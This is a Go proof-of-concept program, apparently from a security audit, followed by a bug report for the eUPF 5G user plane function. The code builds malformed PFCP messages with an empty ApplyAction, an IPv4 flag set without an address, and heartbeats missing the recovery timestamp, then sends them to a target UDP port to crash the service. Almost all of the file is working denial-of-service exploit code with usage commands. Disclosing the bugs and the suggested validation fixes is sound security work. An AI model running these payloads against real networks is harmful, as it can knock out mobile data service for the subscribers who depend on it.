package main
// eUPF PFCP Crash PoCs
// This file contains proof-of-concept code to trigger crashes in eUPF via malformed PFCP messages.
// Based on audit findings in eupf_audit_report.md
import (
"encoding/binary"
"errors"
"flag"
"fmt"
"log"
"net"
"strings"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
const (
modeSessionInvalidApply = "session-invalid-applyaction"
modeSessionFARIPv4FlagNil = "session-far-ipv4-flag-nil"
modeHeartbeatRequestMissingRecovery = "heartbeat-request-missing-recovery"
modeHeartbeatResponseMissingRecovery = "heartbeat-response-missing-recovery"
defaultCPSEID = 0x1111222233334444
heartbeatResponseBufferSize = 4096
defaultWaitForResponse = 5 * time.Second
defaultAssociationRetrySleep = 200 * time.Millisecond
)
type seqGenerator struct {
val uint32
}
func (g *seqGenerator) Next() uint32 {
g.val++
if g.val == 0 || g.val > 0xFFFFFF {
g.val = 1
}
return g.val
}
func forcePFCPv1(pkt []byte) {
if len(pkt) > 0 {
pkt[0] = (1 << 5) | (pkt[0] & 0x1F)
}
}
func startReceiver(conn *net.UDPConn) (chan message.Message, chan error, func()) {
msgCh := make(chan message.Message, 16)
errCh := make(chan error, 1)
stop := make(chan struct{})
go func() {
defer close(msgCh)
defer close(errCh)
buf := make([]byte, heartbeatResponseBufferSize)
for {
conn.SetReadDeadline(time.Now().Add(1 * time.Second))
n, _, err := conn.ReadFromUDP(buf)
if ne, ok := err.(net.Error); ok && ne.Timeout() {
select {
case <-stop:
return
default:
}
continue
}
if err != nil {
select {
case errCh <- err:
default:
}
return
}
payload := make([]byte, n)
copy(payload, buf[:n])
msg, err := message.Parse(payload)
if err != nil {
log.Printf("[rx] failed to parse PFCP message: %v", err)
continue
}
switch msgTyped := msg.(type) {
case *message.HeartbeatRequest:
seq := msgTyped.Sequence()
rsp := message.NewHeartbeatResponse(seq, ie.NewRecoveryTimeStamp(time.Now()))
raw, err := rsp.Marshal()
if err != nil {
log.Printf("[rx] failed to marshal Heartbeat Response: %v", err)
continue
}
forcePFCPv1(raw)
if _, err := conn.Write(raw); err != nil {
log.Printf("[rx] failed to send Heartbeat Response: %v", err)
} else {
log.Printf("[rx] ← Heartbeat Request (seq=%d) → responded", seq)
}
default:
select {
case msgCh <- msg:
log.Printf("[rx] ← %s (type=%d, seq=%d)", msg.MessageTypeName(), msg.MessageType(), msg.Sequence())
default:
log.Printf("[rx] dropping %s: channel full", msg.MessageTypeName())
}
}
select {
case <-stop:
return
default:
}
}
}()
cancel := func() {
close(stop)
}
return msgCh, errCh, cancel
}
func waitForMessage(msgCh <-chan message.Message, errCh <-chan error, timeout time.Duration, match func(message.Message) bool, description string) (message.Message, error) {
timer := time.NewTimer(timeout)
defer timer.Stop()
for {
select {
case <-timer.C:
return nil, fmt.Errorf("timeout waiting for %s", description)
case err, ok := <-errCh:
if ok && err != nil {
return nil, fmt.Errorf("receiver error: %w", err)
}
case msg, ok := <-msgCh:
if !ok {
return nil, fmt.Errorf("receiver closed while waiting for %s", description)
}
if match(msg) {
return msg, nil
}
log.Printf("[wait] ignoring unexpected message: %s (type=%d, seq=%d)", msg.MessageTypeName(), msg.MessageType(), msg.Sequence())
}
}
}
func performAssociation(conn *net.UDPConn, seqGen *seqGenerator, msgCh <-chan message.Message, errCh <-chan error, nodeID string, includeUPFInfo bool) error {
nodeIE := ie.NewNodeID(nodeID, "", "")
if nodeIE == nil {
return errors.New("failed to build NodeID IE – ensure --bind is a valid IP or FQDN")
}
ies := []*ie.IE{
nodeIE,
ie.NewRecoveryTimeStamp(time.Now()),
}
if includeUPFInfo {
ies = append(ies,
ie.NewUPFunctionFeatures(0x10, 0x00, 0x00, 0x00),
ie.NewUserPlaneIPResourceInformation(0x41, 0, nodeID, "", "", ie.SrcInterfaceAccess),
)
}
assocSeq := seqGen.Next()
req := message.NewAssociationSetupRequest(assocSeq, ies...)
raw, err := req.Marshal()
if err != nil {
return fmt.Errorf("marshal association request: %w", err)
}
forcePFCPv1(raw)
log.Printf("[assoc] → Association Setup Request (seq=%d)", assocSeq)
if _, err := conn.Write(raw); err != nil {
return fmt.Errorf("send association request: %w", err)
}
// Wait for response with timeout
_, err = waitForMessage(msgCh, errCh, defaultWaitForResponse, func(m message.Message) bool {
_, ok := m.(*message.AssociationSetupResponse)
return ok
}, "Association Setup Response")
if err != nil {
log.Printf("[assoc] WARNING: Did not receive Association Setup Response: %v", err)
log.Printf("[assoc] This might be normal if eUPF crashed or rejected the request")
log.Printf("[assoc] Continuing anyway - some PoCs may work without association...")
// Don't return error - some attacks might work even without association
// (e.g., HeartbeatRequest doesn't require association)
} else {
log.Printf("[assoc] Association established; ready for exploit traffic.")
}
return nil
}
// sendSessionInvalidApplyAction sends a Session Establishment Request with empty ApplyAction payload
// This triggers array index out of bounds in composeFarInfo() at pfcp_session_handlers.go:570
// when accessing applyAction[0] without checking array length
func sendSessionInvalidApplyAction(conn *net.UDPConn, seqGen *seqGenerator, localIP net.IP, nodeID string, dnn string) error {
nodeIE := ie.NewNodeID(nodeID, "", "")
if nodeIE == nil {
return errors.New("unable to craft NodeID IE; supply --bind as valid IP or FQDN")
}
fseidIE := ie.NewFSEID(defaultCPSEID, localIP, nil)
if fseidIE == nil {
return errors.New("failed to craft F-SEID IE")
}
pdi := ie.NewPDI(
ie.NewSourceInterface(ie.SrcInterfaceAccess),
ie.NewNetworkInstance(dnn),
)
createPDR := ie.NewCreatePDR(
ie.NewPDRID(1),
ie.NewPrecedence(200),
pdi,
ie.NewFARID(1),
)
// Create FAR with valid ApplyAction first, then we'll modify it to have empty payload
createFARBase := ie.NewCreateFAR(
ie.NewFARID(1),
ie.NewApplyAction(0x02), // Valid ApplyAction first
)
req := message.NewSessionEstablishmentRequest(0, 0, defaultCPSEID, seqGen.Next(), 0,
nodeIE,
fseidIE,
createPDR,
createFARBase,
ie.NewAPNDNN(dnn),
)
raw, err := req.Marshal()
if err != nil {
return fmt.Errorf("marshal base session establishment request: %w", err)
}
// Manually modify ApplyAction IE to have empty payload
// ApplyAction IE type is 0x002C (44)
modified, err := modifyApplyActionToEmpty(raw)
if err != nil {
return fmt.Errorf("failed to modify ApplyAction: %w", err)
}
forcePFCPv1(modified)
log.Printf("[poc] → Session Establishment Request (seq=%d, zero-length ApplyAction)", req.Sequence())
log.Printf("[poc] This triggers array index out of bounds in composeFarInfo() at pfcp_session_handlers.go:570")
log.Printf("[poc] when accessing applyAction[0] (ApplyAction payload is empty)")
_, err = conn.Write(modified)
if err != nil {
return fmt.Errorf("failed to send session establishment request: %w", err)
}
log.Printf("[poc] Message sent successfully. Check eUPF logs for panic stack traces.")
return nil
}
// modifyApplyActionToEmpty modifies a Session Establishment Request message
// to set ApplyAction IE payload to empty (length 0)
func modifyApplyActionToEmpty(msgBytes []byte) ([]byte, error) {
const applyActionType = 0x002C // IE Type 44 (ApplyAction)
const createFARType = 0x0003 // IE Type 3 (Create FAR)
if len(msgBytes) < 12 {
return nil, fmt.Errorf("message too short")
}
// Skip PFCP message header (4 bytes) and Session Establishment Request header
// Session Establishment Request structure:
// - PFCP Header (4 bytes): Version(3) + MessageType(5) + MessageLength(2) + S flag(1) + SEID(8) = 16 bytes
// - Sequence Number (4 bytes): Sequence(3) + Spare(1)
// - IEs start at position 16
pos := 16
var farStart, farEnd int = -1, -1
var applyActionStart, applyActionEnd int = -1, -1
log.Printf("[hex] Searching for CreateFAR in message (length: %d bytes)", len(msgBytes))
log.Printf("[hex] Message header: %02x %02x %02x %02x", msgBytes[0], msgBytes[1], msgBytes[2], msgBytes[3])
// Find CreateFAR IE - search all IEs in the message
for pos < len(msgBytes)-4 {
if pos+4 > len(msgBytes) {
break
}
ieType := binary.BigEndian.Uint16(msgBytes[pos : pos+2])
ieLength := uint16(msgBytes[pos+2])<<8 | uint16(msgBytes[pos+3])
// Validate IE length
if ieLength > 10000 || pos+4+int(ieLength) > len(msgBytes) {
log.Printf("[hex] Invalid IE at position %d: type=0x%04x, length=%d", pos, ieType, ieLength)
break
}
log.Printf("[hex] IE at position %d: type=0x%04x, length=%d", pos, ieType, ieLength)
if ieType == createFARType {
farStart = pos
farEnd = pos + 4 + int(ieLength)
log.Printf("[hex] Found CreateFAR at position %d, length: %d", pos, ieLength)
// Search for ApplyAction within CreateFAR
innerPos := pos + 4
for innerPos < farEnd-4 {
if innerPos+4 > farEnd {
break
}
innerType := binary.BigEndian.Uint16(msgBytes[innerPos : innerPos+2])
innerLength := uint16(msgBytes[innerPos+2])<<8 | uint16(msgBytes[innerPos+3])
if innerPos+4+int(innerLength) > farEnd {
log.Printf("[hex] Invalid inner IE at position %d: type=0x%04x, length=%d", innerPos, innerType, innerLength)
break
}
log.Printf("[hex] Inner IE at position %d: type=0x%04x, length=%d", innerPos, innerType, innerLength)
if innerType == applyActionType {
applyActionStart = innerPos
applyActionEnd = innerPos + 4 + int(innerLength)
log.Printf("[hex] Found ApplyAction at position %d, length: %d", innerPos, innerLength)
break
}
innerPos += 4 + int(innerLength)
}
break
}
pos += 4 + int(ieLength)
}
if farStart == -1 {
log.Printf("[hex] ERROR: CreateFAR (type=0x%04x) not found in message", createFARType)
log.Printf("[hex] Searched from position %d to %d", 16, len(msgBytes))
return nil, fmt.Errorf("CreateFAR not found in message")
}
if applyActionStart == -1 {
log.Printf("[hex] ERROR: ApplyAction (type=0x%04x) not found in CreateFAR", applyActionType)
return nil, fmt.Errorf("ApplyAction not found in CreateFAR")
}
// Create new ApplyAction IE with empty payload
// IE Header: Type (2 bytes) + Length (2 bytes) = 4 bytes
// Payload: empty (0 bytes)
newApplyAction := make([]byte, 4)
binary.BigEndian.PutUint16(newApplyAction[0:2], applyActionType)
binary.BigEndian.PutUint16(newApplyAction[2:4], 0) // Length = 0 (empty payload)
log.Printf("[hex] Original ApplyAction length: %d bytes", applyActionEnd-applyActionStart)
log.Printf("[hex] New ApplyAction length: %d bytes (empty payload)", len(newApplyAction))
// Reconstruct message
result := make([]byte, 0, len(msgBytes)-(applyActionEnd-applyActionStart)+len(newApplyAction))
result = append(result, msgBytes[:applyActionStart]...)
result = append(result, newApplyAction...)
result = append(result, msgBytes[applyActionEnd:farEnd]...)
result = append(result, msgBytes[farEnd:]...)
// Update CreateFAR length
oldFarLength := farEnd - farStart - 4
newFarLength := oldFarLength - (applyActionEnd - applyActionStart) + len(newApplyAction)
binary.BigEndian.PutUint16(result[farStart+2:farStart+4], uint16(newFarLength))
// Update message length in header (bytes 2-3)
oldMsgLength := binary.BigEndian.Uint16(msgBytes[2:4])
newMsgLength := oldMsgLength - uint16(applyActionEnd-applyActionStart) + uint16(len(newApplyAction))
binary.BigEndian.PutUint16(result[2:4], newMsgLength)
log.Printf("[hex] Message length updated: %d -> %d bytes", oldMsgLength, newMsgLength)
return result, nil
}
// sendSessionFARIPv4FlagNil sends a Session Establishment Request with OuterHeaderCreation
// that has HasIPv4() flag set but IPv4Address is nil
// This triggers nil pointer dereference in composeFarInfo() at pfcp_session_handlers.go:591
// when accessing outerHeaderCreation.IPv4Address in binary.LittleEndian.Uint32()
func sendSessionFARIPv4FlagNil(conn *net.UDPConn, seqGen *seqGenerator, localIP net.IP, nodeID string, dnn string) error {
nodeIE := ie.NewNodeID(nodeID, "", "")
if nodeIE == nil {
return errors.New("unable to craft NodeID IE; supply --bind as valid IP or FQDN")
}
fseidIE := ie.NewFSEID(defaultCPSEID, localIP, nil)
if fseidIE == nil {
return errors.New("failed to craft F-SEID IE")
}
pdi := ie.NewPDI(
ie.NewSourceInterface(ie.SrcInterfaceAccess),
ie.NewNetworkInstance(dnn),
)
createPDR := ie.NewCreatePDR(
ie.NewPDRID(1),
ie.NewPrecedence(200),
pdi,
ie.NewFARID(1),
)
// Create base FAR with valid OuterHeaderCreation first
// We'll manually modify it to have HasIPv4 flag but nil IPv4Address
baseOuterHeader := ie.NewOuterHeaderCreation(0x0100, 0x12345678, localIP.String(), "", 0, 0, 0)
createFAR := ie.NewCreateFAR(
ie.NewFARID(1),
ie.NewApplyAction(0x02), // Forward action
ie.NewForwardingParameters(
ie.NewDestinationInterface(ie.DstInterfaceCore),
baseOuterHeader,
),
)
req := message.NewSessionEstablishmentRequest(0, 0, defaultCPSEID, seqGen.Next(), 0,
nodeIE,
fseidIE,
createPDR,
createFAR,
ie.NewAPNDNN(dnn),
)
raw, err := req.Marshal()
if err != nil {
return fmt.Errorf("marshal base session establishment request: %w", err)
}
// Manually modify OuterHeaderCreation to have HasIPv4 flag but remove IPv4Address
modified, err := modifyOuterHeaderCreationIPv4FlagNil(raw)
if err != nil {
return fmt.Errorf("failed to modify OuterHeaderCreation: %w", err)
}
forcePFCPv1(modified)
log.Printf("[poc] → Session Establishment Request (seq=%d, FAR OuterHeaderCreation HasIPv4 flag set but IPv4Address nil)", req.Sequence())
log.Printf("[poc] This triggers nil pointer dereference in composeFarInfo() at pfcp_session_handlers.go:591")
log.Printf("[poc] when accessing outerHeaderCreation.IPv4Address in binary.LittleEndian.Uint32()")
log.Printf("[poc] (HasIPv4() returns true but IPv4Address is nil)")
_, err = conn.Write(modified)
if err != nil {
return fmt.Errorf("failed to send session establishment request: %w", err)
}
log.Printf("[poc] Message sent successfully. Check eUPF logs for panic stack traces.")
return nil
}
// modifyOuterHeaderCreationIPv4FlagNil modifies a Session Establishment Request message
// to set HasIPv4 flag in OuterHeaderCreation but remove the IPv4Address field
func modifyOuterHeaderCreationIPv4FlagNil(msgBytes []byte) ([]byte, error) {
const outerHeaderCreationType = 0x0054 // IE Type 84 (Outer Header Creation)
const createFARType = 0x0003 // IE Type 3 (Create FAR)
if len(msgBytes) < 12 {
return nil, fmt.Errorf("message too short")
}
// Skip PFCP message header (4 bytes) and Session Establishment Request header (8 bytes)
pos := 12
var farStart, farEnd int = -1, -1
var ohcStart, ohcEnd int = -1, -1
// Find CreateFAR IE
for pos < len(msgBytes)-4 {
if pos+4 > len(msgBytes) {
break
}
ieType := binary.BigEndian.Uint16(msgBytes[pos : pos+2])
ieLength := uint16(msgBytes[pos+2])<<8 | uint16(msgBytes[pos+3])
if ieType == createFARType {
farStart = pos
farEnd = pos + 4 + int(ieLength)
log.Printf("[hex] Found CreateFAR at position %d, length: %d", pos, ieLength)
// Search for OuterHeaderCreation within CreateFAR
innerPos := pos + 4
for innerPos < farEnd-4 {
innerType := binary.BigEndian.Uint16(msgBytes[innerPos : innerPos+2])
innerLength := uint16(msgBytes[innerPos+2])<<8 | uint16(msgBytes[innerPos+3])
if innerType == outerHeaderCreationType {
ohcStart = innerPos
ohcEnd = innerPos + 4 + int(innerLength)
log.Printf("[hex] Found OuterHeaderCreation at position %d, length: %d", innerPos, innerLength)
break
}
innerPos += 4 + int(innerLength)
if innerPos >= farEnd {
break
}
}
break
}
pos += 4 + int(ieLength)
if pos > len(msgBytes) {
break
}
}
if farStart == -1 {
return nil, fmt.Errorf("CreateFAR not found in message")
}
if ohcStart == -1 {
return nil, fmt.Errorf("OuterHeaderCreation not found in CreateFAR")
}
// OuterHeaderCreation structure:
// - IE Header (4 bytes): Type (2) + Length (2)
// - Flags (2 bytes): bit 0 = V4, bit 1 = V6, etc.
// - TEID (4 bytes)
// - IPv4Address (4 bytes) - if V4 flag is set
// - IPv6Address (16 bytes) - if V6 flag is set
// - etc.
ohcPayloadStart := ohcStart + 4
if ohcPayloadStart+2 > ohcEnd {
return nil, fmt.Errorf("OuterHeaderCreation payload too short")
}
// Read current flags
currentFlags := binary.BigEndian.Uint16(msgBytes[ohcPayloadStart : ohcPayloadStart+2])
log.Printf("[hex] Current OuterHeaderCreation flags: 0x%04x", currentFlags)
// Check if V4 flag is set (bit 0)
if currentFlags&0x0100 == 0 {
return nil, fmt.Errorf("V4 flag not set in OuterHeaderCreation")
}
// Check if IPv4Address field exists (should be at offset 6 from payload start)
if ohcPayloadStart+10 > ohcEnd {
return nil, fmt.Errorf("OuterHeaderCreation too short for IPv4Address")
}
// Create new OuterHeaderCreation without IPv4Address
// Keep flags with V4 bit set, but remove IPv4Address field
// New structure: Flags(2) + TEID(4) only
newOHCPayload := make([]byte, 6)
copy(newOHCPayload, msgBytes[ohcPayloadStart:ohcPayloadStart+6]) // Copy Flags + TEID
// Update flags to keep V4 bit set (this is the key - HasIPv4() will return true)
// But we've removed the IPv4Address field, so IPv4Address will be nil
newOHCPayload[0] = byte((currentFlags >> 8) & 0xFF)
newOHCPayload[1] = byte(currentFlags & 0xFF)
newOHC := make([]byte, 4+len(newOHCPayload))
binary.BigEndian.PutUint16(newOHC[0:2], outerHeaderCreationType)
binary.BigEndian.PutUint16(newOHC[2:4], uint16(len(newOHCPayload)))
copy(newOHC[4:], newOHCPayload)
log.Printf("[hex] Original OuterHeaderCreation length: %d bytes", ohcEnd-ohcStart)
log.Printf("[hex] New OuterHeaderCreation length: %d bytes", len(newOHC))
log.Printf("[hex] Removed %d bytes (IPv4Address field)", (ohcEnd-ohcStart)-len(newOHC))
// Reconstruct message
result := make([]byte, 0, len(msgBytes)-(ohcEnd-ohcStart)+len(newOHC))
result = append(result, msgBytes[:ohcStart]...)
result = append(result, newOHC...)
result = append(result, msgBytes[ohcEnd:farEnd]...)
result = append(result, msgBytes[farEnd:]...)
// Update CreateFAR length
oldFarLength := farEnd - farStart - 4
newFarLength := oldFarLength - (ohcEnd - ohcStart) + len(newOHC)
binary.BigEndian.PutUint16(result[farStart+2:farStart+4], uint16(newFarLength))
// Update message length in header (bytes 2-3)
oldMsgLength := binary.BigEndian.Uint16(msgBytes[2:4])
newMsgLength := oldMsgLength - uint16(ohcEnd-ohcStart) + uint16(len(newOHC))
binary.BigEndian.PutUint16(result[2:4], newMsgLength)
log.Printf("[hex] Message length updated: %d -> %d bytes", oldMsgLength, newMsgLength)
return result, nil
}
// sendHeartbeatRequestMissingRecovery sends a HeartbeatRequest without RecoveryTimeStamp IE
// This triggers nil pointer dereference in HandlePfcpHeartbeatRequest() at pfcp_hearbeat.go:13
// when accessing hbreq.RecoveryTimeStamp.RecoveryTimeStamp()
func sendHeartbeatRequestMissingRecovery(conn *net.UDPConn, seqGen *seqGenerator) error {
seq := seqGen.Next()
// Create HeartbeatRequest without RecoveryTimeStamp
// go-pfcp library requires RecoveryTimeStamp, so we need to manually construct the message
req := message.NewHeartbeatRequest(seq, ie.NewRecoveryTimeStamp(time.Now()), nil)
raw, err := req.Marshal()
if err != nil {
return fmt.Errorf("marshal base heartbeat request: %w", err)
}
// Remove RecoveryTimeStamp IE from message
// RecoveryTimeStamp IE type is 0x0060 (96)
modified, err := removeIEFromMessage(raw, 0x0060)
if err != nil {
return fmt.Errorf("failed to remove RecoveryTimeStamp IE: %w", err)
}
forcePFCPv1(modified)
log.Printf("[poc] → Heartbeat Request (seq=%d, missing RecoveryTimeStamp IE)", seq)
log.Printf("[poc] This triggers nil pointer dereference in HandlePfcpHeartbeatRequest() at pfcp_hearbeat.go:13")
log.Printf("[poc] when accessing hbreq.RecoveryTimeStamp.RecoveryTimeStamp() (RecoveryTimeStamp is nil)")
_, err = conn.Write(modified)
if err != nil {
return fmt.Errorf("failed to send heartbeat request: %w", err)
}
log.Printf("[poc] Message sent successfully. Check eUPF logs for panic stack traces.")
return nil
}
// sendHeartbeatResponseMissingRecovery sends a HeartbeatResponse without RecoveryTimeStamp IE
// This triggers nil pointer dereference in HandlePfcpHeartbeatResponse() at pfcp_hearbeat.go:28
// when accessing hbresp.RecoveryTimeStamp.RecoveryTimeStamp()
func sendHeartbeatResponseMissingRecovery(conn *net.UDPConn, seqGen *seqGenerator) error {
seq := seqGen.Next()
// Create HeartbeatResponse without RecoveryTimeStamp
// go-pfcp library requires RecoveryTimeStamp, so we need to manually construct the message
rsp := message.NewHeartbeatResponse(seq, ie.NewRecoveryTimeStamp(time.Now()))
raw, err := rsp.Marshal()
if err != nil {
return fmt.Errorf("marshal base heartbeat response: %w", err)
}
// Remove RecoveryTimeStamp IE from message
// RecoveryTimeStamp IE type is 0x0060 (96)
modified, err := removeIEFromMessage(raw, 0x0060)
if err != nil {
return fmt.Errorf("failed to remove RecoveryTimeStamp IE: %w", err)
}
forcePFCPv1(modified)
log.Printf("[poc] → Heartbeat Response (seq=%d, missing RecoveryTimeStamp IE)", seq)
log.Printf("[poc] This triggers nil pointer dereference in HandlePfcpHeartbeatResponse() at pfcp_hearbeat.go:28")
log.Printf("[poc] when accessing hbresp.RecoveryTimeStamp.RecoveryTimeStamp() (RecoveryTimeStamp is nil)")
log.Printf("[poc] Note: This requires eUPF to send a HeartbeatRequest first, or manually trigger")
_, err = conn.Write(modified)
if err != nil {
return fmt.Errorf("failed to send heartbeat response: %w", err)
}
log.Printf("[poc] Message sent successfully. Check eUPF logs for panic stack traces.")
return nil
}
// removeIEFromMessage removes an IE of the specified type from a PFCP message
func removeIEFromMessage(msgBytes []byte, ieTypeToRemove uint16) ([]byte, error) {
if len(msgBytes) < 4 {
return nil, fmt.Errorf("message too short")
}
// Determine message type from header
messageType := (msgBytes[0] >> 4) & 0x0F
// Skip PFCP message header (4 bytes)
// Message structure:
// - Session Establishment Request (type 50): 4 (header) + 8 (SEID) + 4 (Sequence) = 16
// - Heartbeat Request/Response (type 1/2): 4 (header) + 3 (Sequence) + 1 (Spare) = 8
// - Association Setup Request (type 5): 4 (header) + 3 (Sequence) + 1 (Spare) = 8
pos := 8 // Default for most messages (after header + sequence)
if messageType == 50 { // Session Establishment Request
pos = 16
} else if messageType == 1 || messageType == 2 { // Heartbeat Request/Response
pos = 8 // 4 (header) + 3 (sequence) + 1 (spare)
} else if messageType == 5 { // Association Setup Request
pos = 8 // 4 (header) + 3 (sequence) + 1 (spare)
} else {
// For other messages, try to detect structure
if len(msgBytes) >= 12 {
// Check if byte 0 has S flag set (bit 0)
// S flag indicates presence of SEID (Session messages)
if (msgBytes[0] & 0x01) != 0 {
pos = 16 // Has SEID (4 header + 8 SEID + 4 sequence)
} else {
pos = 8 // No SEID (4 header + 3 sequence + 1 spare)
}
}
}
log.Printf("[hex] Message type: %d, starting IE search at position %d", messageType, pos)
var ieStart, ieEnd int = -1, -1
log.Printf("[hex] Searching for IE type 0x%04x in message (length: %d bytes)", ieTypeToRemove, len(msgBytes))
for pos < len(msgBytes)-4 {
if pos+4 > len(msgBytes) {
break
}
ieType := binary.BigEndian.Uint16(msgBytes[pos : pos+2])
ieLength := uint16(msgBytes[pos+2])<<8 | uint16(msgBytes[pos+3])
// Validate IE length
if ieLength > 10000 || pos+4+int(ieLength) > len(msgBytes) {
log.Printf("[hex] Invalid IE at position %d: type=0x%04x, length=%d", pos, ieType, ieLength)
break
}
log.Printf("[hex] IE at position %d: type=0x%04x, length=%d", pos, ieType, ieLength)
if ieType == ieTypeToRemove {
ieStart = pos
ieEnd = pos + 4 + int(ieLength)
log.Printf("[hex] Found IE type 0x%04x at position %d, length: %d", ieTypeToRemove, pos, ieLength)
break
}
pos += 4 + int(ieLength)
if pos > len(msgBytes) {
break
}
}
if ieStart == -1 {
log.Printf("[hex] ERROR: IE type 0x%04x not found in message", ieTypeToRemove)
log.Printf("[hex] Searched from position %d to %d", 4, len(msgBytes))
return nil, fmt.Errorf("IE type 0x%04x not found in message", ieTypeToRemove)
}
// Remove the IE
result := make([]byte, 0, len(msgBytes)-(ieEnd-ieStart))
result = append(result, msgBytes[:ieStart]...)
result = append(result, msgBytes[ieEnd:]...)
// Update message length in header (bytes 2-3)
// Message length field is the length of the message excluding the first 4 bytes (header)
oldMsgLength := binary.BigEndian.Uint16(msgBytes[2:4])
newMsgLength := oldMsgLength - uint16(ieEnd-ieStart)
binary.BigEndian.PutUint16(result[2:4], newMsgLength)
log.Printf("[hex] Removed IE type 0x%04x, message length field: %d -> %d bytes", ieTypeToRemove, oldMsgLength, newMsgLength)
log.Printf("[hex] Actual message size: %d -> %d bytes", len(msgBytes), len(result))
return result, nil
}
func main() {
mode := flag.String("mode", modeSessionInvalidApply, strings.Join([]string{
"POC attack mode:",
fmt.Sprintf(" - %s", modeSessionInvalidApply),
fmt.Sprintf(" - %s", modeSessionFARIPv4FlagNil),
fmt.Sprintf(" - %s", modeHeartbeatRequestMissingRecovery),
fmt.Sprintf(" - %s", modeHeartbeatResponseMissingRecovery),
}, "\n"))
host := flag.String("host", "127.0.0.1", "eUPF PFCP address")
port := flag.Int("port", 8805, "eUPF PFCP port")
bind := flag.String("bind", "127.0.0.2", "local source IP (attacker PFCP address)")
dnn := flag.String("dnn", "internet", "DNN to include when crafting valid PDRs")
wait := flag.Duration("wait", defaultAssociationRetrySleep, "delay between association and exploit payload")
flag.Parse()
remoteAddr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *host, *port))
if err != nil {
log.Fatalf("resolve remote: %v", err)
}
localIP := net.ParseIP(*bind)
if localIP == nil {
log.Fatalf("invalid bind IP: %s", *bind)
}
localAddr := &net.UDPAddr{IP: localIP, Port: 0}
log.Printf("Attempting to connect to eUPF at %s from %s", remoteAddr.String(), localIP.String())
// Test connectivity first - try without binding to specific local IP
testConn, err := net.DialUDP("udp", nil, remoteAddr)
if err != nil {
log.Printf("WARNING: Cannot establish UDP connection to %s: %v", remoteAddr.String(), err)
log.Printf("")
log.Printf("Diagnostic information:")
log.Printf(" - Target: %s:%d", *host, *port)
log.Printf(" - Local bind IP: %s", *bind)
log.Printf("")
log.Printf("Troubleshooting steps:")
log.Printf(" 1. If eUPF is in Docker, try using 127.0.0.1 instead:")
log.Printf(" go run eupf_crash.go -mode %s -host 127.0.0.1 -port 8805 -bind 127.0.0.2", *mode)
log.Printf("")
log.Printf(" 2. Check if eUPF is running:")
log.Printf(" ps aux | grep eupf")
log.Printf(" docker ps | grep eupf")
log.Printf("")
log.Printf(" 3. Check if port is listening:")
log.Printf(" netstat -tuln | grep %d", *port)
log.Printf(" ss -tuln | grep %d", *port)
log.Printf("")
log.Printf(" 4. Check Docker port mapping:")
log.Printf(" docker ps --format 'table {{.Names}}\t{{.Ports}}' | grep 8805")
log.Printf("")
log.Printf(" 5. Test connectivity:")
log.Printf(" nc -zuv %s %d", *host, *port)
log.Printf("")
log.Fatalf("Connection test failed: %v", err)
}
testConn.Close()
log.Printf("Connection test successful!")
conn, err := net.DialUDP("udp", localAddr, remoteAddr)
if err != nil {
log.Fatalf("dial udp: %v", err)
}
defer conn.Close()
msgCh, errCh, cancel := startReceiver(conn)
defer cancel()
seqGen := &seqGenerator{}
log.Printf("Remote eUPF target: %s", remoteAddr.String())
log.Printf("Local PFCP source: %s", conn.LocalAddr().String())
log.Printf("Running mode: %s", *mode)
log.Printf("")
switch *mode {
case modeSessionInvalidApply:
// Try to establish association, but continue even if it fails
_ = performAssociation(conn, seqGen, msgCh, errCh, *bind, true)
time.Sleep(*wait)
log.Printf("[poc] Sending exploit payload (ApplyAction array out of bounds)...")
if err := sendSessionInvalidApplyAction(conn, seqGen, localIP, *bind, *dnn); err != nil {
log.Fatalf("send malformed session establishment request (empty ApplyAction): %v", err)
}
case modeSessionFARIPv4FlagNil:
// Try to establish association, but continue even if it fails
_ = performAssociation(conn, seqGen, msgCh, errCh, *bind, true)
time.Sleep(*wait)
log.Printf("[poc] Sending exploit payload (OuterHeaderCreation IPv4Address nil)...")
if err := sendSessionFARIPv4FlagNil(conn, seqGen, localIP, *bind, *dnn); err != nil {
log.Fatalf("send malformed session establishment request (FAR IPv4 flag nil): %v", err)
}
case modeHeartbeatRequestMissingRecovery:
// HeartbeatRequest doesn't require association
if err := sendHeartbeatRequestMissingRecovery(conn, seqGen); err != nil {
log.Fatalf("send malformed heartbeat request (missing RecoveryTimeStamp): %v", err)
}
case modeHeartbeatResponseMissingRecovery:
// HeartbeatResponse typically requires eUPF to send HeartbeatRequest first
// But we can still send it directly
if err := sendHeartbeatResponseMissingRecovery(conn, seqGen); err != nil {
log.Fatalf("send malformed heartbeat response (missing RecoveryTimeStamp): %v", err)
}
default:
log.Fatalf("unknown mode: %s", *mode)
}
log.Printf("")
log.Printf("Payload delivered. Observe eUPF logs for panic stack traces.")
}
Describe the bug
UPF crashes on a malformed PFCP Heartbeat Request that omits the mandatory Recovery Time Stamp IE, leading to DoS.
To Reproduce
Steps to reproduce the behavior:
go mod init pocgo mod tidygo run ./main.go -mode heartbeat-request-missing-recovery -host 127.0.0.1 -port 8805 -bind 127.0.0.2Expected behavior
The PFCP Heartbeat handler must validate presence and length of the Recovery Time Stamp IE before use. If the IE is missing or malformed, the UPF should gracefully handle the message (e.g., discard and log at warning level, optionally mark the peer as unhealthy), without crashing.
Screenshots
Logs
Environment (please complete the following information):